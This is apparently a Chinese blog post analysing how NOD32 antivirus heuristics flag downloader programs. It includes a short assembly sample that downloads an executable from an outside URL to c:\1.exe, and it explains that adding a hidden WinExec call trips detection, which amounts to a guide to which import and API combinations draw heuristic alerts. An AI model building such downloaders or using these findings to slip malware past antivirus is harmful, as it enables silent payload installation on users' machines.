下面我们来深入的剖析nod32的启发机制:
启发式我举得应该归根于文件扫描引擎中,所以我们就将其叫做启发式扫描吧。那么nod32,不仅仅只是启发式扫描,并且它也应用了传统的特征码匹配技术(特征码匹配技术就是截获病毒样本,然后人为的进行逆向分析,这里为nod32的病毒样本分析师帅哥致敬,这些帅哥找出这个样本的一些特殊地方,然后将这这些特殊地方作为特征码存放到病毒库中并其一个名称, 例如nod32的起名规则一般为“平台/定义名称,举例 win32/ trojanDownLoader)。nod32的启发从控制台的文件监控选项也能看出来。
我们看到它有一个高级启发式扫描的选项,我们勾选这个,则扫描引擎在扫描文件的时候才会去调用高级启发式扫描的过程。所以这个大家一定要注意勾选啊。否则..如果nod32病毒库没有匹配特征码的话,你就over了。。
nod32的启发比较智能和效率高,其一个原因就是它将一些函数分成一些特定的组合。例如下载,马上执行这就是一个典型的下载者行为。所以nod32一般会将下载和执行作为下载者的依据。(当然可能还要做更多的判断,例如判断这个程序是否还有其他的行为,如果仅仅是下载执行那么必是一个下载者)。
我们做个测试,写一段代码,仅仅是下载的话。nod32是不报毒的。 我们的代码如下:
format PE GUI 4.0 \
on '%include%\stub.txt'
entry __start
include 'win32ax.inc'
.text
__start:
xor esi, esi
i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi
ret
;////////////////////////////////// data ///////////////////////////////
.data
szUrl db 'http://www.xyblack.cn/s.exe', 0
szPath db 'c:\1.exe', 0
PathSize = $-szPath
.idata
library urlmon, 'urmon.dll'
include 'api\urlmon.inc'
上述代码编译后,nod32不报毒。
但是只要在 i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 后加上段任意的执行函数( 如i WinExec, szPath, SW_HIDE),则nod32报毒。nod32最出色的是它会去分析程序的引入表,举个例子,例如下载执行的函数大多数都存在于Urlmon.dll以及kernel32.dll以及wininet.dll中等,所以我们的程序只要引入了Urlmon.dll或kernel32.dll,并且只要程序中使用了URLDownloadToCacheFile 函数,并引入kernel32.dll,nod32就会报毒,这无疑简化了很多效率,但是却有误报啊,例如对于一些可以构建pe结构的编译器编译的程序,如果人家引入了kernel32.dll但是功能仅仅是一个下载,你确报毒,这无疑是误报啊。。。。
但是对于nod32这样出色的杀毒软件,它不会判断你引入这些危险的函数就直接将你定义为病毒, 因为这些函数很多正常的程序也是会调用的。 而它会依据虚拟机代码仿真技术重点对你引入的这些函数去重点进行分析,分析其行为以及参数等。